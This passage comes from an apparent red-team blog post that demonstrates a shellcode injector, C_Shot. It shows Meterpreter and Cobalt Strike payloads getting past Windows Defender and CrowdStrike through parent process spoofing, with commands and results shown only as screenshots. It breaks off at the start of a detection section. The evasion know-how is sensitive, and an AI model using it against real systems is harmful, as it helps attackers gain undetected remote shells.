<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzinaOf5zi6KTwJlt-6rbIQpXfgDjhoMYC7DukMvrpUNQBMzoDqSaBye1YOXT0LOn0wzK8P03lPr9j7QMYFf2oj726y8__oxwJe7yrvEWEZEmHpNew8z9AmNXd6r6LjC3KcLVo7oQZa0k/s1600/Screen+Shot+2020-07-21+at+9.41.30+AM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="173" data-original-width="875" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzinaOf5zi6KTwJlt-6rbIQpXfgDjhoMYC7DukMvrpUNQBMzoDqSaBye1YOXT0LOn0wzK8P03lPr9j7QMYFf2oj726y8__oxwJe7yrvEWEZEmHpNew8z9AmNXd6r6LjC3KcLVo7oQZa0k/s1600/Screen+Shot+2020-07-21+at+9.41.30+AM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><i><br /></i></span>
<span style="line-height: 1.15;"><i>Getting caught by Windows Defender:</i></span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyOiDLOJNANb8X26JvVJO881_LDvqaaCzz0gJKStZcJnSQAzgwrTnBiraOubWdQJVcSUdRZDEFqCCpuanfBz-xtbK1ElAmaNuOtY1ntbiV8qRv0Ssj2g709ssSrnvXDol2MwHmMfWfX8c/s1600/Screen+Shot+2020-07-21+at+9.59.19+AM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="56" data-original-width="968" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyOiDLOJNANb8X26JvVJO881_LDvqaaCzz0gJKStZcJnSQAzgwrTnBiraOubWdQJVcSUdRZDEFqCCpuanfBz-xtbK1ElAmaNuOtY1ntbiV8qRv0Ssj2g709ssSrnvXDol2MwHmMfWfX8c/s1600/Screen+Shot+2020-07-21+at+9.59.19+AM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "calibri" , sans-serif;"><br /></span>
<span style="font-family: "calibri" , sans-serif;">Womp womp, looks like we got caught. Well this tool sucks, you better just stop reading now. WAIT... I almost forgot, we have a </span><b>stageless </b><span style="font-family: "calibri" , sans-serif;">default Meterpreter payload</span><span style="font-family: "calibri" , sans-serif;"> to try! Let's try injecting that into our own process and see what happens.</span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i>
<i>Setting up our Metasploit handler for our stageless Meterpreter payload:</i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbpavlSMIN8-y8MIvMrmxvdIyw1vwlgQpQpE6IPhwnEPknry_I962FzZ_jzVfKaZYouEkbJ_2gCvyga3tw2uEgexc97o5yuYPyslvucBJicCVbYmD_N7XyREKm45oldGCr9GD1hWPz_Tw/s1600/Screen+Shot+2020-07-21+at+10.10.20+AM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="197" data-original-width="699" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbpavlSMIN8-y8MIvMrmxvdIyw1vwlgQpQpE6IPhwnEPknry_I962FzZ_jzVfKaZYouEkbJ_2gCvyga3tw2uEgexc97o5yuYPyslvucBJicCVbYmD_N7XyREKm45oldGCr9GD1hWPz_Tw/s1600/Screen+Shot+2020-07-21+at+10.10.20+AM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><i><br /></i></span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><i><br /></i></span>
<span style="line-height: 1.15;"><i><br /></i></span>
<span style="line-height: 1.15;"><i><br /></i></span>
<span style="line-height: 1.15;"><i><br /></i></span>
<span style="line-height: 1.15;"><i><br /></i></span>
<span style="line-height: 1.15;"><i><br /></i></span>
<span style="line-height: 1.15;"><i><br /></i></span>
<span style="line-height: 1.15;"><i><br /></i></span>
</span><i style="font-family: Arial, Helvetica, sans-serif;"><br /></i><br />
<i style="font-family: Arial, Helvetica, sans-serif;">Executing C_Shot on victim machine and injecting our default stageless Meterpreter payload into our own process:</i><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf9d-OcmNe2ndJrzdEOMZpEqhiNauL9tj1M5RXcaWKsJniGAiCH3HA4v4ZQww0Cl4z8C2SnaU1Q2xel22JGHdYEsSq5BZoCJ-IEZT5Ra7kPu2d4rKEEuBvl2bSngXn1vtCCJks82-avWQ/s1600/Screen+Shot+2020-07-21+at+10.16.31+AM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="70" data-original-width="900" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf9d-OcmNe2ndJrzdEOMZpEqhiNauL9tj1M5RXcaWKsJniGAiCH3HA4v4ZQww0Cl4z8C2SnaU1Q2xel22JGHdYEsSq5BZoCJ-IEZT5Ra7kPu2d4rKEEuBvl2bSngXn1vtCCJks82-avWQ/s1600/Screen+Shot+2020-07-21+at+10.16.31+AM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-Te6jH16HY4HxNMqBxAYV41YqK-Uq6gbg80jUh_EExcsJWjNH4swsBE43emMtZy34T7STIm8FaBkyAJFgYXo1CFPadhJFoRLv-13tXOq1XLSLFVOrMrXtvFe1jCn_OosmR9EEBOvXGXc/s1600/Screen+Shot+2020-07-21+at+10.17.15+AM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="68" data-original-width="723" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-Te6jH16HY4HxNMqBxAYV41YqK-Uq6gbg80jUh_EExcsJWjNH4swsBE43emMtZy34T7STIm8FaBkyAJFgYXo1CFPadhJFoRLv-13tXOq1XLSLFVOrMrXtvFe1jCn_OosmR9EEBOvXGXc/s1600/Screen+Shot+2020-07-21+at+10.17.15+AM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><i><br /></i></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "calibri" , sans-serif;"><i><br /></i></span>
<span style="font-family: "calibri" , sans-serif;"><i><br /></i></span>
<span style="font-family: "calibri" , sans-serif;"><i><br /></i></span>
<i><br /></i>
<i>Getting a shell back:</i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA77jSSQSslw9gA6BBiym4vIVH0lAPIRSS-r4L2-72XXYRd-0N56jPOUIszhWmkhp52pPkOv2uIgtSOVBtkB08zhrWMO571BKsf1zOmhenI4lZ1tcs_zGdikW9v27Uqh6sNgzO_P4xqg4/s1600/Screen+Shot+2020-07-21+at+10.18.57+AM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="289" data-original-width="1243" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA77jSSQSslw9gA6BBiym4vIVH0lAPIRSS-r4L2-72XXYRd-0N56jPOUIszhWmkhp52pPkOv2uIgtSOVBtkB08zhrWMO571BKsf1zOmhenI4lZ1tcs_zGdikW9v27Uqh6sNgzO_P4xqg4/s1600/Screen+Shot+2020-07-21+at+10.18.57+AM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Success! So why did we go through this little exercise? Well, because I wanted to point out that while C_Shot can definitely help you in successfully executing shellcode, it can only do so much of the heavy lifting. Any time you choose to execute widely known shellcode you take an extra risk beyond just your tool's behavior. If what you execute is widely known, AV/EDR will almost certainly have signatures or flag on certain behaviors of that shellcode. As shown above, in this case this wasn't really a C_Shot problem but a problem with Meterpreter's default staged payload behavior being widely known and easily detected.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">So now that we have tried out C_Shot's ability to inject into its own process, let's see what happens when we use a different injection technique plus parent process spoofing and inject our Meterpreter default staged shellcode into a child process of our choosing. We will try something I normally wouldn't recommend and that is to inject into c:\windows\system32\notepad.exe with the spoofed parent process of explorer.exe.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<i><span style="font-family: "arial" , "helvetica" , sans-serif;">Executing C_Shot on victim machine and injecting our default staged Meterpreter payload into our child process notepad.exe with a spoofed parent process of explorer.exe:</span></i><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMFePaUgdnNKdyZl-2urfs0pBIQBsoM5JmWQdinvDl8WFvlM4S9qrbYLkNR9NmFOn_KnMu5CSi-V3pG4fIUsnkF9h4v29R3lNgShQxflCjnDsr7VQvH2MOuPyQAO7pm15uoh0tyIV7-Wg/s1600/Screen+Shot+2020-07-21+at+12.03.35+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="182" data-original-width="1215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMFePaUgdnNKdyZl-2urfs0pBIQBsoM5JmWQdinvDl8WFvlM4S9qrbYLkNR9NmFOn_KnMu5CSi-V3pG4fIUsnkF9h4v29R3lNgShQxflCjnDsr7VQvH2MOuPyQAO7pm15uoh0tyIV7-Wg/s1600/Screen+Shot+2020-07-21+at+12.03.35+PM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i>
<i><br /></i>
<i><br /></i>
<i><br /></i>
<i><br /></i>
<i><br /></i>
<i>Notepad.exe running on our victim system with the spoofed parent process of explorer.exe.</i></span><br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU5CCwjH8A3f6vazKTf20EKLdzh08MgcNr4rInuqby-maXP1eqgY20NuAkZ5VsFQn1YlzKYqU6AWUoT8_fEdSiHIzItBANLcbogIjEbdf4Sxf74223cEcsAWK-etCHUZMtTQ4BI8jegGE/s1600/Screen+Shot+2020-07-21+at+12.08.08+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="624" data-original-width="600" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU5CCwjH8A3f6vazKTf20EKLdzh08MgcNr4rInuqby-maXP1eqgY20NuAkZ5VsFQn1YlzKYqU6AWUoT8_fEdSiHIzItBANLcbogIjEbdf4Sxf74223cEcsAWK-etCHUZMtTQ4BI8jegGE/s400/Screen+Shot+2020-07-21+at+12.08.08+PM.png" width="384" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<i><span style="font-family: "arial" , "helvetica" , sans-serif;">Getting a shell back:</span></i><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjs_96D0lM4N4iTvBFai1NwzF_DGdI1o9ZvrqhAnalXPvS5W9J0IMOE8KKBbiwu30Nl4Gt-EkZhhMTaySzI81RPN0DTt9-hdHz2Gpt3Q3g91Yx47UZ45TvQBxcFgk8ysGe9oIr2M6DsURE/s1600/Screen+Shot+2020-07-21+at+12.13.30+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="376" data-original-width="964" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjs_96D0lM4N4iTvBFai1NwzF_DGdI1o9ZvrqhAnalXPvS5W9J0IMOE8KKBbiwu30Nl4Gt-EkZhhMTaySzI81RPN0DTt9-hdHz2Gpt3Q3g91Yx47UZ45TvQBxcFgk8ysGe9oIr2M6DsURE/s1600/Screen+Shot+2020-07-21+at+12.13.30+PM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Success! This time we successfully got a shell back even when using the same Meterpreter default staged payload that got caught in our last example. Hopefully this example shows how parent process spoofing can still cause a headache when it comes to detecting malicious shellcode being executed.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">So this is great and all but how does this stack up against something a little more beefy than the out of the box Windows Defender? Let's see how we do going up against CrowdStrike. Like the first example we will setup our Metasploit handler to receive the default staged Meterpreter payload. We also need to make sure CrowdStrike is running on our victim machine.</span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfow12NrnECgQrdybJKq-Up_4Kxt_RG2eBtx3Cb04XiBc_J1DpiKl66ZFendsDdeDs8wGOUU4j7sCo9MJdSqyG9CzwXjXk-9vXOBdMgP5ixHTRyGd1FqFOHb1gVBJje8GQt497GwnwWCU/s1600/Screen+Shot+2020-07-21+at+3.40.17+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="169" data-original-width="524" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfow12NrnECgQrdybJKq-Up_4Kxt_RG2eBtx3Cb04XiBc_J1DpiKl66ZFendsDdeDs8wGOUU4j7sCo9MJdSqyG9CzwXjXk-9vXOBdMgP5ixHTRyGd1FqFOHb1gVBJje8GQt497GwnwWCU/s640/Screen+Shot+2020-07-21+at+3.40.17+PM.png" width="640" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Now that everything is ready to go, all we have left is to execute our tool and try and inject into our own process. CrowdStrike easily catches both the staged and stageless default Meterpreter payloads when we try and inject them into our own process.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCmrcST1yeo_5-8yqeZlRsPvcQtJiNRDAiVQDcMc5OGUWJJrigM_mWliWXPD4Xoh4E_vQhlepI3VWi8_wq8tnmrnQ-RV_xpxtEIPs42kR5EFO5aPo7JReTolxeNonZSwRHLUGu3Ohk7OE/s1600/Screen+Shot+2020-07-21+at+10.18.10+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="98" data-original-width="1437" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCmrcST1yeo_5-8yqeZlRsPvcQtJiNRDAiVQDcMc5OGUWJJrigM_mWliWXPD4Xoh4E_vQhlepI3VWi8_wq8tnmrnQ-RV_xpxtEIPs42kR5EFO5aPo7JReTolxeNonZSwRHLUGu3Ohk7OE/s1600/Screen+Shot+2020-07-21+at+10.18.10+PM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "calibri" , sans-serif;"><br /></span>
So far CrowdStrike is performing slightly better than Windows Defender since it caught both the staged and stageless default payloads but let's see what happens if we try spoofing our parent process just like we did against Windows Defender. <span style="font-family: "calibri" , sans-serif;"> </span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "calibri" , sans-serif;"><br /></span>
<i>Executing C_Shot on victim machine and injecting our default staged Meterpreter payload into our child notepad.exe process with a spoofed parent process of explorer.exe:</i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyJKr6O_eiPKHIFwDJwEinE7ijGW2beafEmdbhYdfMn-EC1uMpxsOUfXumgknpSF4-wJtVedmHhNEBRlrV4qTm5cZqBH558nHSovh-VlkctxAhyuP_A7oBcf8x9xAbLEkcM4g16QHtEVA/s1600/Screen+Shot+2020-07-21+at+10.16.28+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="200" data-original-width="901" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyJKr6O_eiPKHIFwDJwEinE7ijGW2beafEmdbhYdfMn-EC1uMpxsOUfXumgknpSF4-wJtVedmHhNEBRlrV4qTm5cZqBH558nHSovh-VlkctxAhyuP_A7oBcf8x9xAbLEkcM4g16QHtEVA/s1600/Screen+Shot+2020-07-21+at+10.16.28+PM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div style="line-height: 1.15;">
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<i><span style="font-family: "arial" , "helvetica" , sans-serif;">Getting a shell back:</span></i><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjkjLz1rPQuUtfuIn5kNZamkGHgQ9rmB3S-5c9WFqoIPMAjjgYzqYGiNBjGSMd9jF5Mz9r7KI3I7nizHCNLipQY8NTScZXcsYaSHsONIGPGLB4EoOgK8G1oQRqozGIHoPcp2q9mxT0yTo/s1600/Screen+Shot+2020-07-21+at+10.16.02+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="274" data-original-width="1157" height="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjkjLz1rPQuUtfuIn5kNZamkGHgQ9rmB3S-5c9WFqoIPMAjjgYzqYGiNBjGSMd9jF5Mz9r7KI3I7nizHCNLipQY8NTScZXcsYaSHsONIGPGLB4EoOgK8G1oQRqozGIHoPcp2q9mxT0yTo/s640/Screen+Shot+2020-07-21+at+10.16.02+PM.png" width="640" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSCBsEwFz7bgAI3FSk83Y6hjGtNOfEpCV5U74bz-JnbpskfsYVC3kFmsymZE9QWptRhcT1TNWcZ80vH0x60BOr0gNbWEOSzNrSEl62EN381JHUP3FHjnGAGEY5BFC6LTuhcvuNTxcDvgM/s1600/Screen+Shot+2020-07-27+at+10.51.42+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="926" data-original-width="1581" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSCBsEwFz7bgAI3FSk83Y6hjGtNOfEpCV5U74bz-JnbpskfsYVC3kFmsymZE9QWptRhcT1TNWcZ80vH0x60BOr0gNbWEOSzNrSEl62EN381JHUP3FHjnGAGEY5BFC6LTuhcvuNTxcDvgM/s1600/Screen+Shot+2020-07-27+at+10.51.42+PM.png" /></span></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Awesome! Looks like when using a different injection technique plus parent process spoofing we are successful with both the staged and stageless default meterpreter payloads. Before we wrap up though, there is one last thing that has been bugging me. Our default Meterpreter payloads got caught when we tried injecting into our own process. Let's see if this is a c_shot issue or an issue with using default shellcode payloads against CrowdStrike.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">For this last example, I am going to be using Cobalt Strike, another popular offensive post-exploitation framework that has the ability to let you heavily modify the default behaviors of your beacon implant among other things. I created a modified staged beacon payload since this is the most likely to get caught, uploaded it, and now let's see what happens.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><i>Executing C_Shot on victim machine and injecting our staged Beacon payload into our own process</i><i>:</i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjujAvkNv9s3QGEu6TXRyxlnoIRp_uTy_H4GLX1bIhNDLXxPP_5FzWzUpoEyTfa-x7VqJstx2v58RcBf2tPgwI0OJ9mYiQfppb4a_rWUuxEoWwAEYgJE-4rvYT2HIo1J_73ld5jT84nCYU/s1600/Screen+Shot+2020-07-27+at+9.09.50+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="192" data-original-width="902" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjujAvkNv9s3QGEu6TXRyxlnoIRp_uTy_H4GLX1bIhNDLXxPP_5FzWzUpoEyTfa-x7VqJstx2v58RcBf2tPgwI0OJ9mYiQfppb4a_rWUuxEoWwAEYgJE-4rvYT2HIo1J_73ld5jT84nCYU/s640/Screen+Shot+2020-07-27+at+9.09.50+PM.png" width="640" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i>
</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i>
<i>Getting beacon back:</i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7wdlDUo6rji3JNk0OeaRCelx4lhm8pHBPZHPK4MB4N_Bzdak91aI1DcT9Bq2jATJVeSGQ_gwkPa7DgrM5NIrRPLiFGYedBT8V9EGxFKcJG08Al6WGPL9DQWwU0wtqCOIfJnM_XHaS4c8/s1600/Screen+Shot+2020-07-27+at+8.27.10+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="27" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7wdlDUo6rji3JNk0OeaRCelx4lhm8pHBPZHPK4MB4N_Bzdak91aI1DcT9Bq2jATJVeSGQ_gwkPa7DgrM5NIrRPLiFGYedBT8V9EGxFKcJG08Al6WGPL9DQWwU0wtqCOIfJnM_XHaS4c8/s1600/Screen+Shot+2020-07-27+at+8.27.10+PM.png" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8_ymXmYt2xGTeBuckQJeWFVfBHY8VdEJY6eiQwmr7oZwkaafIzioYz8M4tzUsm1NPIkUMc3CtkFGIiDPSfg00EAlyzo5sDfklJ4ErH4WlGn4IsZLNAPrY4Z78XpCzDShlcTYK3s3UCgs/s1600/Screen+Shot+2020-07-27+at+8.28.54+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="125" data-original-width="1198" height="66" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8_ymXmYt2xGTeBuckQJeWFVfBHY8VdEJY6eiQwmr7oZwkaafIzioYz8M4tzUsm1NPIkUMc3CtkFGIiDPSfg00EAlyzo5sDfklJ4ErH4WlGn4IsZLNAPrY4Z78XpCzDShlcTYK3s3UCgs/s640/Screen+Shot+2020-07-27+at+8.28.54+PM.png" width="640" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Woot Woot! We were successful getting our staged shellcode payload past CrowdStrike! Hopefully this example helps you understand that sometimes the way you are injecting is the issue and sometimes your shellcode or payload behavior is the issue. This is why as an offensive security professional it is extremely important to understand what behaviors your tools have. This also should highlight why it is so important to test your payloads in a lab before sending them off into the great unknown and wishing them the best of luck.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="MsoNormal" style="line-height: 1.15;">
<div style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: x-large; line-height: 1.15;"><b style="font-size: x-large;">Detection</b></span></div>
<div style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><b style="line-height: 1.15;"><br /></b></span>
<span style="font-family: "calibri" , sans-serif;"><b>How one could detect C_Shot:</b></span></span></div>
<div style="line-height: 1.15;">
